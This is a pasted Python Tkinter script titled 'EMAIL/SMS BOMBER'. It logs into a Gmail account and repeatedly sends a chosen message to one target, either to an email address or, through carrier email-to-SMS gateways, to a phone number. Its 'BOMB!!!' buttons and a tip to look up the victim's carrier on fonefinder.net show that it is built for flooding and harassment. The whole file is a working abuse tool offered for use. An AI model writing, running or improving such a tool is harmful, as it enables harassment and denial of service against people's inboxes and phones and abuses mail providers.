SHOW:
|
|
- or go back to the newest paste.
1 | #EMAIL/SMS BOMBER | |
2 | ||
3 | import smtplib,tkMessageBox | |
4 | from Tkinter import * | |
5 | ||
6 | server = smtplib.SMTP('smtp.gmail.com:587') | |
7 | server.ehlo() | |
8 | server.starttls() | |
9 | server.ehlo() | |
10 | ||
11 | class window(): | |
12 | carrier = { | |
13 | '1':'@message.alltel.com', | |
14 | '2':'@txt.att.net', | |
15 | '3':'@myboostmobile.com', | |
16 | '4':'@messaging.nextel.com', | |
17 | '5':'@messaging.sprintpcs.com', | |
18 | '6':'@tmomail.net', | |
19 | '7':'@vtext.com', | |
20 | '8':'@vmobl.com' | |
21 | } | |
22 | def smsbomber(self): | |
23 | self.amt = int(self.numtxt.get()) | |
24 | self.zero = 0 | |
25 | if '@gmail.com' not in self.usr: | |
26 | self.usr = self.usr+'@gmail.com' | |
27 | try: | |
28 | while self.zero < self.amt: | |
29 | self.zero += 1 | |
30 | server.sendmail(str(self.usr),str(self.rectxt.get())+self.carrier.get(self.car.get()),str(self.msgtxt.get())) | |
31 | done = tkMessageBox.showinfo('Done','Done!') | |
32 | except smtplib.SMTPRecipientsRefused: | |
33 | tkMessageBox.showerror('Error','Check "Send to" box.') | |
34 | def bomber(self): | |
35 | self.amt = int(self.numtxt.get()) | |
36 | self.zero = 0 | |
37 | if '@gmail.com' not in self.usr: | |
38 | self.usr = self.usr+'@gmail.com' | |
39 | try: | |
40 | while self.zero < self.amt: | |
41 | self.zero += 1 | |
42 | server.sendmail(str(self.usr),str(self.rectxt.get()),str(self.msgtxt.get())) | |
43 | done = tkMessageBox.showinfo('Done','Done!') | |
44 | except smtplib.SMTPRecipientsRefused: | |
45 | tkMessageBox.showerror('Error','Check "Send to" box.') | |
46 | ||
47 | def email(self): | |
48 | self.window.destroy() | |
49 | self.emailframe = Tk() | |
50 | self.emailframe.title('Email Bomber') | |
51 | self.reclbl = Label(self.emailframe,text='Send to: ') | |
52 | self.reclbl.grid(row=0,column=0) | |
53 | self.rectxt = Entry() | |
54 | self.rectxt.grid(row=0,column=1) | |
55 | self.msglbl = Label(self.emailframe,text='MSG: ') | |
56 | self.msglbl.grid(row=1,column=0) | |
57 | self.msgtxt = Entry() | |
58 | self.msgtxt.grid(row=1,column=1) | |
59 | self.numlbl = Label(self.emailframe,text='Amount to send: ') | |
60 | self.numlbl.grid(row=2,column=0) | |
61 | self.numtxt = Entry() | |
62 | self.numtxt.grid(row=2,column=1) | |
63 | self.bomb = Button(self.emailframe,text='BOMB!!!',command=self.bomber) | |
64 | self.bomb.grid(row=3,column=3) | |
65 | self.emailframe.mainloop() | |
66 | ||
67 | def sms(self): | |
68 | self.window.destroy() | |
69 | self.smsframe = Tk() | |
70 | self.smsframe.title('SMS Bomber') | |
71 | self.ff = Label(self.smsframe,text='Go to fonefinder.net to find carrier') | |
72 | self.ff.grid(row=0) | |
73 | self.carlbl = Label(self.smsframe,text='1. Alltell\n2. AT&T\n3. BoostMobile\n4. SprintNextel(@nextel.com)\n5. SprintNextel(@sprintpcs.com)\n6. T-Mobile\n7. Verizon\n8. VirginMobile') | |
74 | self.carlbl.grid(row=1,column=4) | |
75 | self.car = Spinbox(self.smsframe,from_=1,to=8) | |
76 | self.car.grid(row=3,column=4) | |
77 | self.reclbl = Label(self.smsframe,text='10 Digit Number: ') | |
78 | self.reclbl.grid(row=3,column=0) | |
79 | self.rectxt = Entry() | |
80 | self.rectxt.grid(row=3,column=1) | |
81 | self.msglbl = Label(self.smsframe,text='MSG: ') | |
82 | self.msglbl.grid(row=4,column=0) | |
83 | self.msgtxt = Entry() | |
84 | self.msgtxt.grid(row=4,column=1) | |
85 | self.numlbl = Label(self.smsframe,text='Amount: ') | |
86 | self.numlbl.grid(row=5,column=0) | |
87 | self.numtxt = Entry() | |
88 | self.numtxt.grid(row=5,column=1) | |
89 | self.bomb = Button(self.smsframe,text='BOMB!!!',command=self.smsbomber) | |
90 | self.bomb.grid(row=5,column=4) | |
91 | self.smsframe.mainloop() | |
92 | ||
93 | ||
94 | def Login(self): | |
95 | self.usr = self.usrtext.get() | |
96 | self.psw = self.passtext.get() | |
97 | try: | |
98 | server.login(self.usr,self.psw) | |
99 | self.login.destroy() | |
100 | self.email = Button(self.window,text='EMAIL',command=self.email) | |
101 | self.email.grid(row=3,column=0) | |
102 | self.sms = Button(self.window,text='SMS',command=self.sms) | |
103 | self.sms.grid(row=3,column=1) | |
104 | except smtplib.SMTPAuthenticationError: | |
105 | tkMessageBox.showerror('Error','Invalid Username/Password') | |
106 | ||
107 | def __init__(self,master=None): | |
108 | self.window = Tk() | |
109 | self.window.title('BOMBz') | |
110 | self.login = Button(self.window,text='LOGIN',command=self.Login) | |
111 | self.login.grid(row=3,column=1) | |
112 | self.usrlabel = Label(self.window,text='GMAIL:') | |
113 | self.usrlabel.grid(row=0,column=0) | |
114 | self.usrtext = Entry() | |
115 | self.usrtext.grid(row=0,column=1) | |
116 | self.passlabel = Label(self.window,text='PASSWORD:') | |
117 | self.passlabel.grid(row=1,column=0) | |
118 | self.passtext = Entry(show="*") | |
119 | self.passtext.grid(row=1,column=1) | |
120 | self.window.mainloop() | |
121 | ||
122 | ||
123 | window() |